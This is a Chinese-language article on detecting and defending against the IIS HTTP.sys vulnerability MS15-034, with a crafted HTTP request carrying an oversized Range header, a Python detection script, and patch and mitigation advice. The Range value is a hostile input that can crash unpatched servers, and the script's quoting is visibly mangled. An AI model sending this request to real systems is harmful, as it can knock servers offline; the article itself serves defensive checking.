HTTP.sys漏洞验证及防护

简介: 使用发包工具构造http请求包检测 以fiddler工具为例,构造如下图的请求包: 1 GET http://192.168.174.145/ HTTP/1.12 Host: 192.168.174.

 使用发包工具构造http请求包检测 以fiddler工具为例,构造如下图的请求包:

1 GET http://192.168.174.145/ HTTP/1.1
2 Host: 192.168.174.145
3 Range: bytes=0-18446744073709551615
4 Connection: keep-alive
5 Cache-Control: max-age=0
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

漏洞确认 如果收到服务器返回包如下, 则说明存在此漏洞。建议您尽快制定防护计划,以避免系统在获得加固前遭受攻击。

图片7

 

漏洞验证POC 

#!/usr/bin/env python
__author__ = ';jastra';
class bg_colors:
    VULN = ';33[92m';
    NONVULN= ';33[95m';
    EXPLOIT = ';33[91m';  
try:
    import requests
    import re
except ImportError as ierr:
    print(bg_colors.EXPLOIT + "Error, looks like you don';t have %s installed", ierr)
    
def identify_iis(domain):
    req = requests.get(str(domain))
    remote_server = req.headers[';server';]
        
    if "Microsoft-IIS" in remote_server:
        print(bg_colors.VULN + "[+] 服务是 " + remote_server) 
        ms15_034_test(str(domain))
    else:
        print(bg_colors.NONVULN + "[-] 不是IIS\n可能是: " + remote_server) 
        
def ms15_034_test(domain):
    print(" 启动vuln检查!")
    vuln_buffer = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";
    req = requests.get(str(domain), params=vuln_buffer)
    if req.headers[';content';] == "请求范围不符合":
        print(bg_colors.EXPLOIT + "[+] 存在漏洞")
    else:
        print(bg_colors.EXPLOIT + "[-] IIS服务无法显示漏洞是否存在. "+
               "需要手动检测")
usr_domain = raw_input("输入域名扫描: ")
identify_iis(usr_domain)

 

 

http.sys漏洞防护

经过上面的漏洞检测步骤后,如果确认您的业务环境中存在http.sys漏洞,那么就需要尽快制定并启动加固方案,这些加固从漏洞补丁开始,到产品防护,到整体防护,逐步推进。

漏洞加固

使用IIS的用户,可以通过Windows Update的方式获得对应的KB3042553热修补补丁,建议用户开启自动更新服务以及时安装最新补丁,相关公告请见:

http.sys漏洞补丁公告:http://technet.microsoft.com/security/bulletin/MS15-034

如果您的业务系统暂时还无法升级补丁,那么可通过禁用IIS 内核缓存来临时缓解此漏洞的危险,但需要注意这可能会导致IIS性能下降,具体的执行方法可以参考:

http.sys漏洞缓解方案:https://technet.microsoft.com/zh-cn/library/cc731903(v=ws.10).aspx

IIS加固

虽然IIS7中http.sys已经独立出来成为系统级驱动程序,但以史为鉴,建议用户在安装补丁的同时也需要考虑IIS加固事项,具体的最佳实践请参考:

IIS7加固方案: https://technet.microsoft.com/zh-cn/library/cc731278(WS.10).aspx

 

参考博文地址:

http://www.ijiandao.com/safe/cto/12829.html

http://www.freebuf.com/articles/system/64185.html

 

目录
相关文章
|
安全 应用服务中间件 Apache
目标URL存在http host头攻击漏洞
目标URL存在http host头攻击漏洞
1047 0
目标URL存在http host头攻击漏洞
|
18天前
|
缓存 安全
HTTP.SYS漏洞(MS_15_034)漏洞发现与防护
通过nmap扫描发现80端口开放,后续使用msfconsole确认了MS_15_034(HTTP.SYS)漏洞的存在,攻击模块触发目标服务器蓝屏。随后进行漏洞加固,禁用IIS缓存,经msf攻击验证,加固措施有效,服务器未受影响。
14 0
|
8月前
|
安全
CRLF(HTTP响应拆分漏洞)
CRLF(HTTP响应拆分漏洞)
134 0
|
9月前
|
安全 应用服务中间件 Apache
|
安全 Windows
HTTP协议栈远程代码执行漏洞(CVE-2022-21907)
HTTP协议栈远程代码执行漏洞(CVE-2022-21907)
153 0
HTTP协议栈远程代码执行漏洞(CVE-2022-21907)
|
供应链 安全 IDE
Http4s 存在输入验证不当漏洞(CVE-2023-22465)
Http4s 存在输入验证不当漏洞(CVE-2023-22465)
Http4s 存在输入验证不当漏洞(CVE-2023-22465)
|
供应链 安全 IDE
Apache HTTP Server 拒绝服务漏洞(CVE-2022-29404)
Apache HTTP Server 拒绝服务漏洞(CVE-2022-29404)
Apache HTTP Server 拒绝服务漏洞(CVE-2022-29404)
|
安全 Windows
CVE-2021-31166 HTTP协议栈远程代码执行漏洞(详解图文教程)
CVE-2021-31166 HTTP协议栈远程代码执行漏洞(详解图文教程)
214 0
CVE-2021-31166 HTTP协议栈远程代码执行漏洞(详解图文教程)
|
安全 测试技术 PHP
http TRACE 跨站攻击漏洞测试与防御修复
php、apache、http trace、 跨站攻击
5214 0
|
Web App开发 前端开发 Java
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Cont
线程的状态有:new、runnable、running、waiting、timed_waiting、blocked、dead 当执行new Thread(Runnabler)后,新创建出来的线程处于new状态,这种线程不可能执行 当执行thread.start()后,线程处于runnable状态,这种情况下只要得到CPU,就可以开始执行了。
694 0